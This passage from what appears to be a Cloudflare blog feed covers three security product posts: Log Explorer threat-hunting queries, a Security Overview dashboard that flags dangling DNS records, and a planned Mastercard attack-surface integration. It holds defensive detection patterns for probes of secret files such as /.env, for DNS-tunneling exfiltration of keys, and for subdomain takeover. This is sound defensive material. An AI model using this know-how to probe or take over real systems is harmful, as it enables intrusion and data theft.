endpoints.</p></td></tr><tr><td><p><b>DEX Application Tests </b></p></td><td><p>Monitors application performance from the user's perspective, which can help distinguish between a security-related outage and a standard performance degradation.</p></td></tr><tr><td><p><b>DEX Device State Events</b></p></td><td><p>Provides telemetry on the physical state of user devices, useful for correlating hardware or OS-level anomalies with potential security incidents.</p></td></tr><tr><td><p><b>DNS Firewall Logs</b></p></td><td><p>Tracks DNS queries filtered through the DNS Firewall to identify communication with known malicious domains or command-and-control (C2) servers.</p></td></tr><tr><td><p><b>Email Security Alerts</b></p></td><td><p>Logs malicious email activity and phishing attempts detected at the gateway to trace the origin of email-based entry vectors.</p></td></tr><tr><td><p><b>Gateway DNS</b></p></td><td><p>Monitors every DNS query made by users on your network to identify shadow IT, malware callbacks, or domain-generation algorithms (DGAs).</p></td></tr><tr><td><p><b>Gateway HTTP</b></p></td><td><p>Provides full visibility into encrypted and unencrypted web traffic to detect hidden payloads, malicious file downloads, or unauthorized SaaS usage.</p></td></tr><tr><td><p><b>Gateway Network</b></p></td><td><p>Tracks L3/L4 network traffic (non-HTTP) to identify unauthorized port usage, protocol anomalies, or lateral movement within the network.</p></td></tr><tr><td><p><b>IPSec Logs</b></p></td><td><p>Monitors the status and traffic of encrypted site-to-site tunnels to ensure the integrity and availability of secure network connections.</p></td></tr><tr><td><p><b>Magic IDS Detections</b></p></td><td><p>Surfaces matches against intrusion detection signatures to alert investigators to known exploit patterns or malware behavior traversing the network.</p></td></tr><tr><td><p><b>Network Analytics Logs</b></p></td><td><p>Provides high-level visibility into packet-level data to identify volumetric DDoS attacks or unusual traffic spikes targeting specific infrastructure.</p></td></tr><tr><td><p><b>Sinkhole HTTP Logs</b></p></td><td><p>Captures traffic directed to "sinkholed" IP addresses to confirm which internal devices are attempting to communicate with known botnet infrastructure.</p></td></tr><tr><td><p><b>WARP Config Changes</b></p></td><td><p>Tracks modifications to the WARP client settings on end-user devices to ensure that security agents haven't been tampered with or disabled.</p></td></tr><tr><td><p><b>WARP Toggle Changes</b></p></td><td><p>Specifically logs when users enable or disable their secure connectivity, helping to identify periods where a device may have been unprotected.</p></td></tr><tr><td><p><b>Zero Trust Network Session Logs</b></p></td><td><p>Logs the duration and status of authenticated user sessions to map out the complete lifecycle of a user's access within the protected perimeter.</p></td></tr></table>
    <div>
      <h2>Log Explorer can identify malicious activity at every stage</h2>
      <a href="#log-explorer-can-identify-malicious-activity-at-every-stage">
        
      </a>
    </div>
    <p>Get granular application layer visibility with <b>HTTP Requests</b>, <b>Firewall Events</b>, and <b>DNS logs</b> to see exactly how traffic is hitting your public-facing properties.<b> </b>Track internal movement with <b>Access Requests</b>, <b>Gateway logs</b>, and <b>Audit logs</b>. If a credential is compromised, you’ll see where they went. Use <b>Magic IDS</b> and <b>Network Analytics logs</b> to spot volumetric attacks and "East-West" lateral movement within your private network.</p>
    <div>
      <h3>Identify the reconnaissance</h3>
      <a href="#identify-the-reconnaissance">
        
      </a>
    </div>
    <p>Attackers use scanners and other tools to look for entry points, hidden directories, or software vulnerabilities. To identify this, using Log Explorer, you can query <code>http_requests</code> for any <code>EdgeResponseStatus</code> codes of 401, 403, or 404 coming from a single IP, or requests to sensitive paths (e.g. <code>/.env</code>, <code>/.git</code>, <code>/wp-admin</code>). </p><p>Additionally, <code>magic_ids_detections</code> logs can also be used to identify scanning at the network layer. These logs provide packet-level visibility into threats targeting your network. Unlike standard HTTP logs, these logs focus on <b>signature-based detections</b> at the network and transport layers (IP, TCP, UDP). Query to discover cases where a single <code>SourceIP</code> is triggering multiple unique detections across a wide range of <code>DestinationPort</code> values in a short timeframe. Magic IDS signatures can specifically flag activities like Nmap scans or SYN stealth scans.</p>
    <div>
      <h3>Check for diversions</h3>
      <a href="#check-for-diversions">
        
      </a>
    </div>
    <p>While the attacker is conducting reconnaissance, they may attempt to disguise this with a simultaneous network flood. Pivot to <code>network_analytics_logs</code> to see if a volumetric attack is being used as a smokescreen.</p>
    <div>
      <h3>Identify the approach </h3>
      <a href="#identify-the-approach">
        
      </a>
    </div>
    <p>Once attackers identify a potential vulnerability, they begin to craft their weapon. The attacker sends malicious payloads (e.g. SQL injection or large/corrupt file uploads) to confirm the vulnerability. Review <code>http_requests</code> and/or <code>fw_events</code> to identify any Cloudflare detection tools that have triggered. Cloudflare logs security signals in these datasets to easily identify requests with malicious payloads using fields such as <code>WAFAttackScore</code>, <code>WAFSQLiAttackScore</code>, <code>FraudAttack</code>, <code>ContentScanJobResults</code>, and several more. Review <a href="https://developers.cloudflare.com/logs/logpush/logpush-job/datasets/zone/http_requests/"><u>our documentation</u></a> to get a full understanding of these fields. The <code>fw_events</code> logs can be used to determine whether these requests made it past Cloudflare’s defenses by examining the <code>action</code>, <code>source</code>, and <code>ruleID</code> fields. Cloudflare’s managed rules by default blocks many of these payloads by default. Review Application Security Overview to know if your application is protected.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1zpFguYrnbOPwyASGQCqZK/63f398acce2226e453a5eea1cc749241/image3.png" />
          </figure><p><sup><i>Showing the Managed rules Insight that displays on Security Overview if the current zone does not have Managed Rules enabled</i></sup></p>
    <div>
      <h3>Audit the identity</h3>
      <a href="#audit-the-identity">
        
      </a>
    </div>
    <p>Did that suspicious IP manage to log in? Use the <code>ClientIP</code> to search <code>access_requests</code>. If you see a "<code>Decision: Allow</code>" for a sensitive internal app, you know you have a compromised account.</p>
    <div>
      <h3>Stop the leak (data exfiltration)</h3>
      <a href="#stop-the-leak-data-exfiltration">
        
      </a>
    </div>
    <p>Attackers sometimes use DNS tunneling to bypass firewalls by encoding sensitive data (like passwords or SSH keys) into DNS queries. Instead of a normal request like <code>google.com</code>, the logs will show long, encoded strings. Look for an unusually high volume of queries for unique, long, and high-entropy subdomains by examining the fields: <code>QueryName</code>: Look for strings like <a href="http://h3ldo293js92.example.com"><code><u>h3ldo293js92.example.com</u></code></a>, <code>QueryType</code>: Often uses <code>TXT</code>, <code>CNAME</code>, or <code>NULL</code> records to carry the payload, and <code>ClientIP</code>: Identify if a single internal host is generating thousands of these unique requests.</p><p>Additionally, attackers may attempt to leak sensitive data by hiding it within non-standard protocols or by using common protocols (like DNS or ICMP) in unusual ways to bypass standard firewalls. Discover this by querying the <code>magic_ids_detections</code> logs to look for signatures that flag protocol anomalies, such as "ICMP tunneling" or "DNS tunneling" detections in the <code>SignatureMessage</code>.</p><p>Whether you are investigating a zero-day vulnerability or tracking a sophisticated botnet, the data you need is now at your fingertips.</p>
    <div>
      <h2>Correlate across datasets</h2>
      <a href="#correlate-across-datasets">
        
      </a>
    </div>
    <p>Investigate malicious activity across multiple datasets by pivoting between multiple concurrent searches. With Log Explorer, you can now work with multiple queries simultaneously with the new Tabs feature. Switch between tabs to query different datasets or Pivot and adjust queries using filtering via your query results.</p><div>
  
</div>
<p></p><p>When you correlate data across multiple Cloudflare log sources, you can detect sophisticated multi-stage attacks that appear benign when viewed in isolation. This cross-dataset analysis allows you to see the full attack chain from reconnaissance to exfiltration.</p>
    <div>
      <h3>Session hijacking (token theft)</h3>
      <a href="#session-hijacking-token-theft">
        
      </a>
    </div>
    <p><b>Scenario:</b> A user authenticates via Cloudflare Access, but their subsequent HTTP_request traffic looks like a bot.</p><p><b>Step 1:</b> Identify high-risk sessions in <code>http_requests</code>.</p>
            <pre><code>SELECT RayID, ClientIP, ClientRequestUserAgent, BotScore
FROM http_requests
WHERE date = '2026-02-22' 
  AND BotScore &lt; 20 
LIMIT 100</code></pre>
            <p><b>Step 2:</b> Copy the <code>RayID</code> and search <code>access_requests</code> to see which user account is associated with that suspicious bot activity.</p>
            <pre><code>
SELECT Email, IPAddress, Allowed
FROM access_requests
WHERE date = '2026-02-22' 
  AND RayID = 'INSERT_RAY_ID_HERE'</code></pre>
            
    <div>
      <h3>Post-phishing C2 beaconing</h3>
      <a href="#post-phishing-c2-beaconing">
        
      </a>
    </div>
    <p><b>Scenario:</b> An employee clicked a link in a phishing email which resulted in compromising their workstation. This workstation sends a DNS query for a known malicious domain, then immediately triggers an IDS alert.</p><p><b>Step 1:</b> Find phishing attacks by examining email_security_alerts for violations. </p>
            <pre><code>SELECT Timestamp, Threatcategories, To, Alertreason
FROM email_security_alerts
WHERE date = '2026-02-22' 
  AND Threatcategories LIKE 'phishing'</code></pre>
            <p><b>Step 2:</b> Use Access logs to correlate the user’s email (To) to their IP Address.</p>
            <pre><code>SELECT Email, IPAddress
FROM access_requests
WHERE date = '2026-02-22' </code></pre>
            <p><b>Step 3:</b> Find internal IPs querying a specific malicious domain in <code>gateway_dns</code> logs.</p>
            <pre><code>
SELECT SrcIP, QueryName, DstIP, 
FROM gateway_dns
WHERE date = '2026-02-22' 
  AND SrcIP = 'INSERT_IP_FROM_PREVIOUS_QUERY'
  AND QueryName LIKE '%malicious_domain_name%'</code></pre>
            
    <div>
      <h3>Lateral movement (Access → network probing)</h3>
      <a href="#lateral-movement-access-network-probing">
        
      </a>
    </div>
    <p><b>Scenario:</b> A user logs in via Zero Trust and then tries to scan the internal network.</p><p><b>Step 1:</b> Find successful logins from unexpected locations in <code>access_requests</code>.</p>
            <pre><code>SELECT IPAddress, Email, Country
FROM access_requests
WHERE date = '2026-02-22' 
  AND Allowed = true 
  AND Country != 'US' -- Replace with your HQ country</code></pre>
            <p><b>Step 2:</b> Check if that <code>IPAddress</code> is triggering network-level signatures in <code>magic_ids_detections</code>.</p>
            <pre><code>SELECT SignatureMessage, DestinationIP, Protocol
FROM magic_ids_detections
WHERE date = '2026-02-22' 
  AND SourceIP = 'INSERT_IP_ADDRESS_HERE'</code></pre>
            
    <div>
      <h3>Opening doors for more data </h3>
      <a href="#opening-doors-for-more-data">
        
      </a>
    </div>
    <p>From the beginning, Log Explorer was designed with extensibility in mind. Every dataset schema is defined using JSON Schema, a widely-adopted standard for describing the structure and types of JSON data. This design decision has enabled us to easily expand beyond HTTP Requests and Firewall Events to the full breadth of Cloudflare's telemetry. The same schema-driven approach that powered our initial datasets scaled naturally to accommodate Zero Trust logs, network analytics, email security alerts, and everything in between.</p><p>More importantly, this standardization opens the door to ingesting data beyond Cloudflare's native telemetry. Because our ingestion pipeline is schema-driven rather than hard-coded, we're positioned to accept any structured data that can be expressed in JSON format. For security teams managing hybrid environments, this means Log Explorer could eventually serve as a single pane of glass, correlating Cloudflare's edge telemetry with logs from third-party sources, all queryable through the same SQL interface. While today's release focuses on completing coverage of Cloudflare's product portfolio, the architectural groundwork is laid for a future where customers can bring their own data sources with custom schemas.</p>
    <div>
      <h3>Faster data, faster response: architectural upgrades</h3>
      <a href="#faster-data-faster-response-architectural-upgrades">
        
      </a>
    </div>
    <p>To investigate a multi-vector attack effectively, timing is everything. A delay of even a few minutes in the log availability can be the difference between proactive defense and reactive damage control.</p><p>That is why we have optimized our ingestion for better speed and resilience. By increasing concurrency in one part of our ingestion path, we have eliminated bottlenecks that could cause “noisy neighbor” issues, ensuring that one client’s data surge doesn’t slow down another’s visibility. This architectural work has reduced our P99 ingestion latency by approximately 55%, and our P50 by 25%, cutting the time it takes for an event at the edge to become available for your SQL queries.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/41M2eWP0BwrQFSZW4GzZbV/7a6139354abb561aba17e77d83beb17a/image4.png" />
          </figure><p><sup><i>Grafana chart displaying the drop in ingest latency after architectural upgrades</i></sup></p>
    <div>
      <h2>Follow along for more updates</h2>
      <a href="#follow-along-for-more-updates">
        
      </a>
    </div>
    <p>We're just getting started. We're actively working on even more powerful features to further enhance your experience with Log Explorer, including the ability to run these detection queries on a custom defined schedule. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2JIOu9PXDwVAVcmbgq456q/1eace4b5d38bb705e82442a4ee8045dc/Scheduled_Queries_List.png" />
          </figure><p><sup><i>Design mockup of upcoming Log Explorer Scheduled Queries feature</i></sup></p><p><a href="https://blog.cloudflare.com/"><u>Subscribe to the blog</u></a> and keep an eye out for more Log Explorer updates soon in our <a href="https://developers.cloudflare.com/changelog/product/log-explorer/"><u>Change Log</u></a>. </p>
    <div>
      <h2>Get access to Log Explorer</h2>
      <a href="#get-access-to-log-explorer">
        
      </a>
    </div>
    <p>To get access to Log Explorer, you can purchase self-serve directly from the dash or for contract customers, reach out for a <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>consultation</u></a> or contact your account manager. Additionally, you can read more in our <a href="https://developers.cloudflare.com/logs/log-explorer/"><u>Developer Documentation</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Analytics]]></category>
            <category><![CDATA[Logs]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[R2]]></category>
            <category><![CDATA[Storage]]></category>
            <category><![CDATA[SIEM]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Connectivity Cloud]]></category>
            <guid isPermaLink="false">1hirraqs3droftHovXp1G6</guid>
            <dc:creator>Jen Sells</dc:creator>
            <dc:creator>Claudio Jolowicz</dc:creator>
            <dc:creator>Nico Gutierrez</dc:creator>
        </item>
        <item>
            <title><![CDATA[Building a security overview dashboard for actionable insights]]></title>
            <link>https://blog.cloudflare.com/security-overview-dashboard/</link>
            <pubDate>Tue, 10 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare's new Security Overview dashboard transforms overwhelming security data into prioritized, actionable insights, empowering defenders with contextual intelligence on vulnerabilities.  ]]></description>
            <content:encoded><![CDATA[ <p></p><p>For years, the industry’s answer to threats was “more visibility.” But more visibility without context is just more noise. For the modern security team, the biggest challenge is no longer a lack of data; it is the overwhelming surplus of it. Most security professionals start their day navigating a sea of dashboards, hunting through disparate logs to answer a single, deceptively simple question: "What now?"</p><p>When you are forced to pivot between different tools just to identify a single misconfiguration, you’re losing the window of opportunity to prevent an incident. That’s why we built a revamped Security Overview dashboard: a single interface designed to empower defenders, by moving from reactive monitoring to proactive control.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/48MDFWpOUvJ1oHgj1SpHtf/6753298792d1a4cbfb7fb0766d255431/image7.png" />
          </figure><p><sup><i>The new Security Overview dashboard.</i></sup></p>
    <div>
      <h2>From noise to action: rethinking the security overview </h2>
      <a href="#from-noise-to-action-rethinking-the-security-overview">
        
      </a>
    </div>
    <p>Historically, dashboards focused on showing you <i>everything</i> that was happening. But for a busy security analyst, the more important question is, "What do I need to fix right now?"</p><p>To solve this, we are introducing Security Action Items. This feature acts as a functional bridge between detection and investigation, surfacing vulnerabilities, so you no longer have to hunt for them. To help you triage effectively, items are ranked by criticality:</p><ul><li><p>Critical: Urgent risks requiring immediate attention to prevent exploitation.</p></li><li><p>Moderate: Issues that should be addressed to maintain a strong security posture.</p></li><li><p>Low: Best-practice optimizations and hardening suggestions.</p></li></ul><p>By filtering by Insight Type (such as Suspicious Activity or Insecure Configuration), you can tailor your workflow to the specific threats your organization faces most.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/15hwrdwgNlDPvxCk96FZJr/7951b2e27767082b61d835e929d57bb9/image1.png" />
          </figure><p>One of the most common causes of a breach isn't the absence of a security tool, it’s the fact that the tool was never turned on or was configured incorrectly. We call this the configuration gap.</p><p>The new Detection Tools module eliminates this blind spot. Instead of digging through nested settings pages to see if your traffic is actually being inspected, we provide a high-level status of your entire Cloudflare security stack in one view:</p><ul><li><p>Are your primary shields active, or are you in "Log Only" mode during a period of increased volatility? </p></li><li><p>Are you discovering shadow APIs, or are you flying blind?</p></li></ul><p>By surfacing these tools directly alongside your Security Action Items, we move the conversation from <i>"</i>Do we have this tool?" to "Is this tool actively protecting us right now?"</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/yXmNWAN2vDNQ02fw2spLL/4ece4d88e8a58826e2c8f472ba9aaac9/Screenshot_2026-03-09_at_18.48.17.png" />
          </figure><p>A high-level summary is only as good as the data behind it. To make the transition from a red flag to a solution seamless, we have unified the visibility of our Suspicious Activity cards. These cards now live in two strategic places: the Security Overview and the Security Analytics page.</p><p>If you spot a Suspicious Activity card on your Overview page that piques your interest, there is no need to manually navigate to Analytics and re-create your filters. By clicking on the card, you are deep-linked directly into the Security Analytics dashboard with all the relevant filters automatically applied. This eliminates the "tab switching tax" that slows down incident response, keeping your workflow fluid and your response times fast.</p>
    <div>
      <h2>How we built our new security overview dashboard</h2>
      <a href="#how-we-built-our-new-security-overview-dashboard">
        
      </a>
    </div>
    <p>To maintain a proactive defense, our engine produces and refreshes over 10 million actionable insights every day to ensure protection is always current.</p><p>Operating at this level presents two distinct engineering challenges. The first is scale: processing massive volumes of data seamlessly. The second and arguably harder challenge, is breadth. True security is horizontal, spanning your entire stack. To generate actionable insights that give you a comprehensive view of your risks and vulnerabilities, our engine must validate everything from simple SSL certificates to complex AI bot configurations.</p><p>To solve this, we built a system composed of smaller, specialized micro services, which we call checkers. Each checker is a subject-matter expert for a specific part of your stack, such as DNS records. The distribution of our checkers allows them to scale independently, hooked into the system in two ways: scheduled configuration checks or real-time listeners that flag a risk the instant an event occurs.</p><p><b>1. Scheduled checks</b>: We deploy this mode for risks that need deep inspection. These are triggered by an orchestrator (scheduler), which periodically pushes tasks for the checkers to execute. We distribute the checker workload across a massively parallel system. For example, a task sent to the DNS checker might be: "Scan all the DNS related configurations of zone <a href="http://xyz.com">xyz.com</a> and find anomalies."</p><p>The checkers pick up these tasks independently. They use their specialized intelligence to scan through the assets and configurations. In the case of the DNS checker, it uses specialized and intelligent rules to scan all the DNS assets and configurations of a zone, be it A/AAAA/CNAME records or DMARC or SPF records. </p><p>This is what the insight lifecycle looks like: </p><ol><li><p>The checker activates when a message is received. </p></li><li><p>The checker collects relevant assets (e.g., DNS records) about the zone or account.</p></li><li><p>The checker runs several checks to verify the status of the asset, e.g., if a CNAME record points to a server.</p></li><li><p>If the state or configuration doesn’t meet the required threshold, an insight is flagged.</p></li><li><p>During the next check, if the insight persists, the timestamp is updated.</p></li><li><p>If the insight has been remedied during the next check, it will be removed from the database.</p></li></ol>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1YwJ45kqLIdiHWoT29x6tR/13d3d31f58325776a781c7465d5f6aa3/image4.png" />
          </figure><p><b>2. Event handlers: </b>The checkers operate on a schedule round the clock, whereas the event handlers function in real-time. They listen to signals and events from our control plane.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6qUqsqqth0RZag7GDNeK1/8f09a8275d5ea8ca4223718e22c0e9f1/image5.jpg" />
          </figure><p>This is what the real-time ruleset insight lifecycle looks like:</p><ol><li><p>A WAF rule configuration is modified.</p></li><li><p>An event containing details of the change is triggered immediately.</p></li><li><p>The ruleset handler, which is actively listening, kicks into action.</p></li><li><p>The handler detects an anomaly, e.g, you have enabled the Cloudflare Managed Ruleset but left it in "Log Only" mode.</p></li><li><p>The handler deduces that the attacks are being recorded but not blocked.</p></li><li><p>The handler registers an insight and makes it available on the dashboard.</p></li><li><p>If the configuration has been updated to a secure setting, the handler clears the insight.</p></li></ol><p>The real-time nature of Ruleset handlers allow us to flag a misconfiguration or confirm a fix instantly.</p>
    <div>
      <h3>Unifying security visibility with contextual insights</h3>
      <a href="#unifying-security-visibility-with-contextual-insights">
        
      </a>
    </div>
    <p>Our customers have consistently asked for more than just visibility: they’ve asked for context. While a notification that a record is misconfigured is helpful, it’s only half the story. To take immediate, confident action, defenders need to know the "so what?" including the business impact and the technical root cause. To address this, we have developed Contextual Insights for our detection engine. By surfacing data like traffic volume to a broken A record, we ensure that every insight is an invitation to act.</p><p>We are starting this journey of Contextual Insights by expanding the depth of our DNS insights. Instead of just flagging a broken record, we correlate the dangling signal with additional context and real-time traffic data to provide the “why” and the “how”:</p><ul><li><p>Target Context: We identify exactly which deleted resource (e.g., an old S3 bucket or cloud instance) the record points to.</p></li><li><p>Impact Context: We show you exactly how many users are still trying to reach that broken record.</p></li></ul><p>Let’s explore the ‘Dangling A/AAAA/CNAME record’ insights as an example. </p><p>To provide these insights, we must analyze the massive amount of data flowing through our network every second. To give you an idea of the work happening behind the scenes:</p><p>100+ million DNS records are scanned weekly by our engine. In the past week, our engine identified over 1 million dangling DNS records. The majority (97%) are Dangling A/AAAA records and the remaining 3% are Dangling CNAME records.</p><p>Of the 31,000 dangling CNAME records:</p><ul><li><p>95% point to Microsoft Azure services.</p></li><li><p>3% point to AWS Elastic Beanstalk.</p></li></ul><p>This signals that these are high-priority targets for a subdomain takeover. An attacker can claim these abandoned cloud resources and immediately control your subdomain, allowing them to launch phishing attacks or spread misinformation under your trusted brand. With thousands of hits, a dangling record presents a high-priority risk for a subdomain takeover, necessitating immediate remediation to instantly gauge and mitigate the threat.</p><p>Our DNS checker uses a two-step process to generate these insights</p><ul><li><p>Step 1: Active Insight detection</p><ul><li><p>The checker starts verification as soon as it gets the message to start a scan. This process has been described in <a href="https://docs.google.com/document/d/1zpAjKdCU_80KZtIXwpHnlq05xGV54gTA-KehiOvlVc0/edit?tab=t.0#bookmark=id.fmv2o2tkjmvj"><u>an earlier section</u></a>.</p></li></ul></li><li><p>Step 2: Contextual enrichment</p><ul><li><p>Once the insight is generated, the checkers gather relevant contextual data for the insight that helps the customer in understanding the impact of the security insight.</p></li></ul></li></ul><p>Let’s explore in depth how the dangling DNS record insights are generated, focusing on the two-phase process involved. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6XNrfkKD9isLHsatUWb7tU/d8117d53a02e82b799da97563be30576/image3.jpg" />
          </figure>
    <div>
      <h4>Phase 1: Active Verification</h4>
      <a href="#phase-1-active-verification">
        
      </a>
    </div>
    <p>A DNS record pointing to an IP address often looks perfectly valid on paper, even if the server behind it was decommissioned months ago. To confirm if a risk is real, our engine has to step outside the network and probe the destination in real-time. The checks performed can be categorized as follows:</p><p><b>The dead server check (A/AAAA records): </b>For records pointing directly to IP addresses, we verify if the destination is still active. Our engine spins up a dedicated egress proxy to attempt a connection to the origin over HTTP and HTTPS. By using this special gateway, we simulate how a real user would connect from outside Cloudflare’s network. If the connection times out or the server returns a "404 Not Found" error, we confirm the resource is dead. This proves the DNS record is "dangling", a live signpost pointing to an empty lot.</p><p><b>The takeover check (CNAME records): </b>Domain aliases (CNAMEs) often delegate traffic to third-party services, like a helpdesk or storage bucket. If you cancel that service but forget to delete the DNS record, you create a "dangling" link that attackers can claim.</p><p>To find these, our engine performs a 3-step process:</p><ol><li><p>First, we trace the chain by recursively resolving the CNAME record to find its final destination (e.g., <code>my-bucket.s3.amazonaws.com</code>).</p></li><li><p>Next, we identify the provider by checking if that destination belongs to a known cloud service like AWS, Azure, or Shopify.</p></li><li><p>Finally, we confirm vacancy. Each cloud provider returns specific error patterns when a resource doesn't exist  (e.g., S3's "NoSuchBucket"). We probe the destination URL and match against these patterns to confirm if the resource is claimable.</p></li></ol><p>If our engine detects that a resource has been released but the DNS record remains, we create an insight, prompting you to remove the record before an attacker can take over your subdomain. </p>
    <div>
      <h4>Phase 2: Context Enrichment</h4>
      <a href="#phase-2-context-enrichment">
        
      </a>
    </div>
    <p>Once a record is verified as broken, we add the necessary context to the insight that helps you take better action. The checker connects to different systems to gather the required context. For dangling insights, we focus on three critical dimensions:</p><ul><li><p><b>Traffic Volume (The Impact) </b>Our global ClickHouse clusters are a treasure trove of information. To understand if the record is actually in use, the checker queries our global ClickHouse clusters to sum up the total DNS queries for that record over the last 7 days. This valuable context lets you prioritize the remedy. A record with 0 queries can be fixed when you have time; a record with 10,000 queries is an active vulnerability that needs to be patched immediately.</p></li></ul><p>Query to the clickhouse looks like: </p>
            <pre><code>SELECT query_name,
       sum(_sample_interval) as total
  FROM &lt;dnslogs_table_name&gt;
 WHERE account_id = {{account_id}}
   AND zone_id = {{zone_id}}
   AND timestamp &gt;= subtractDays(today(), 7)
   AND timestamp &lt; today()
   AND query_name in ('{{record1}}', '{{record2}}', ...)
 GROUP BY query_name</code></pre>
            <p>The query asks “How many times has this specific broken record been requested by real users in the last seven days?”</p><ul><li><p><b>Infrastructure owner (The Target) </b>Knowing <i>who</i> owns the destination infrastructure is    vital for both remediation and severity assessment. </p></li></ul><p><b>For IP records (A/AAAA):</b> We identify the network owner (ASN) through the latest geolocation data from a Cloudflare <b>R2 bucket</b> and performing high-speed lookups in memory. It tells you exactly where the dead resource lived (e.g., "Google Cloud" vs. "DigitalOcean"), speeding up your investigation. </p><p><b>For CNAME Records:</b> We identify the specific <b>Hosting Provider</b> (e.g., AWS S3, Shopify). This dictates the risk level. If a record points to a provider known for easy takeovers (like S3), we mark it as <b>Critical</b>; otherwise, it is <b>Moderate</b>.</p><ul><li><p><b>DNS TTL </b>We also extract the TTL (Time To Live) value directly from the record configuration.</p></li></ul><p>This tells you the "lag time" of your fix. If you delete a dangling record with a high TTL (e.g., 24 hours), it will remain cached in resolvers around the world for a full day, meaning the vulnerability stays open even after you patch it. Knowing this helps you manage expectations during an incident response.</p>
    <div>
      <h2>Looking forward</h2>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>While this experience is launching at the domain level today, we know that for enterprise customers, security isn't managed just one domain at a time. Our roadmap is focused on bringing this intelligence to the account level next. Soon, security teams can use a centralized view that aggregates security action items and prioritizes the most critical risks to remediate across all of their Cloudflare domains.</p><p>Security shouldn't feel like a game of catch-up. For too long, the complexity of managing application security has given the advantage to the attacker. Through our architecture of specialized checkers and real-time event handlers, we detect potential risks and enrich them with critical context, ensuring defenders can respond with speed and precision.</p><p>The new Security Overview is now the starting point for your day, a place where risk data is transformed into a prioritized strategy. <a href="https://dash.cloudflare.com"><u>Log in to the Cloudflare dashboard</u></a> today to explore your new Application Security Overview page!</p> ]]></content:encoded>
            <category><![CDATA[Security Posture Management]]></category>
            <category><![CDATA[Application Security]]></category>
            <guid isPermaLink="false">4AGzrx6ToYWMvoSNm9sojx</guid>
            <dc:creator>Rachel Smith</dc:creator>
            <dc:creator>Hemanth Kasula</dc:creator>
        </item>
        <item>
            <title><![CDATA[Translating risk insights into actionable protection: leveling up security posture with Cloudflare and Mastercard]]></title>
            <link>https://blog.cloudflare.com/attack-surface-intelligence/</link>
            <pubDate>Tue, 10 Mar 2026 05:05:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare will be integrating Mastercard’s RiskRecon attack surface intelligence capabilities to help you eliminate Internet-facing blind spots while continuously monitoring and closing security gaps. ]]></description>
            <content:encoded><![CDATA[ <p>Every new domain, application, website, or API endpoint increases an organization's attack surface. For many teams, the speed of innovation and deployment outpaces their ability to catalog and protect these assets, often resulting in a "target-rich, resource-poor" environment where unmanaged infrastructure becomes an easy entry point for attackers.</p><p>Replacing manual, point-in-time audits with automated security posture visibility is critical to growing your Internet presence safely. That’s why we are happy to announce a planned integration that will enable the continuous discovery, monitoring and remediation of Internet-facing blind spots directly in the Cloudflare dashboard: Mastercard’s RiskRecon attack surface intelligence capabilities.</p><p>Information Security practitioners in pay-as-you-go and Enterprise accounts will be able to preview the integration in the third quarter of 2026.</p>
    <div>
      <h3>Attack surface intelligence can spot security gaps before attackers do</h3>
      <a href="#attack-surface-intelligence-can-spot-security-gaps-before-attackers-do">
        
      </a>
    </div>
    <p>Mastercard’s RiskRecon attack surface intelligence identifies and prioritizes external vulnerabilities by mapping an organization's entire internet footprint using only publicly accessible data. As an outside-in scanner, the solution can be deployed instantly to uncover "shadow IT," forgotten subdomains, and unauthorized cloud servers that internal, credentialed scans often miss. By seeing what an attacker sees in real time, security teams can proactively close security gaps before they can be exploited.</p><p>But what security gaps are attackers typically looking to exploit? In a <a href="https://www.riskrecon.com/report-six-lessons-from-10-years-of-ransomware-attacks"><u>2025 study</u></a> of 15,896 organizations that had experienced security breaches, Mastercard found that unpatched software, exposed services (e.g. databases, remote administration), weak application security (e.g. missing authentication) and outdated web encryption were frequent hallmarks, as seen in the graph below.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/70o4e4XoPHJN1x5OpeNP9x/f6a9f3854368a7f83eccad14412a89a6/image2.png" />
          </figure><p>The same study also found that organizations with significant cybersecurity posture gaps in these areas were 5.3x more likely to be hit by a ransomware attack, and 3.6x more likely to suffer a data breach compared to companies that maintain good cybersecurity hygiene.</p>
    <div>
      <h3>Why Cloudflare and Mastercard are partnering</h3>
      <a href="#why-cloudflare-and-mastercard-are-partnering">
        
      </a>
    </div>
    <p>This partnership combines Mastercard’s attack surface intelligence—which identifies security gaps—with Cloudflare’s ability to fix them. Organizations can use Mastercard’s data to find shadow assets, such as forgotten domains or unprotected cloud instances, and secure them by routing traffic through Cloudflare’s proxy. This allows for the immediate deployment of security controls without changing the underlying website or application.</p><p>Based on a sample of approximately 388,000 organizations spanning over 18 million systems, Mastercard’s attack surface intelligence shows that systems using Cloudflare as a proxy have significantly better security hygiene than those that do not:</p><ul><li><p><b>Software Patching:</b> 53% fewer software vulnerabilities</p></li><li><p><b>Web Encryption:</b> 58% fewer SSL/TLS issues</p></li><li><p><b>System Reputation:</b> 98% fewer instances of malicious behavior (e.g. communicating with botnet command and control servers, hosting phishing sites).</p></li></ul>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/69JeczWmG5UioBEK2odUv/08cda631baac7a38422b31a82f36c0a2/image5.png" />
          </figure><p>The table below provides additional details on the security posture insights provided by Mastercard. These insights are generated by passively scanning publicly accessible hosts, web applications, and configurations. </p>
<table><thead>
  <tr>
    <th><span>Category</span></th>
    <th><span>Security Check</span></th>
    <th><span>Description</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>Software Patching</span></td>
    <td><span>Application Servers</span></td>
    <td><span>Unpatched application server software.</span></td>
  </tr>
  <tr>
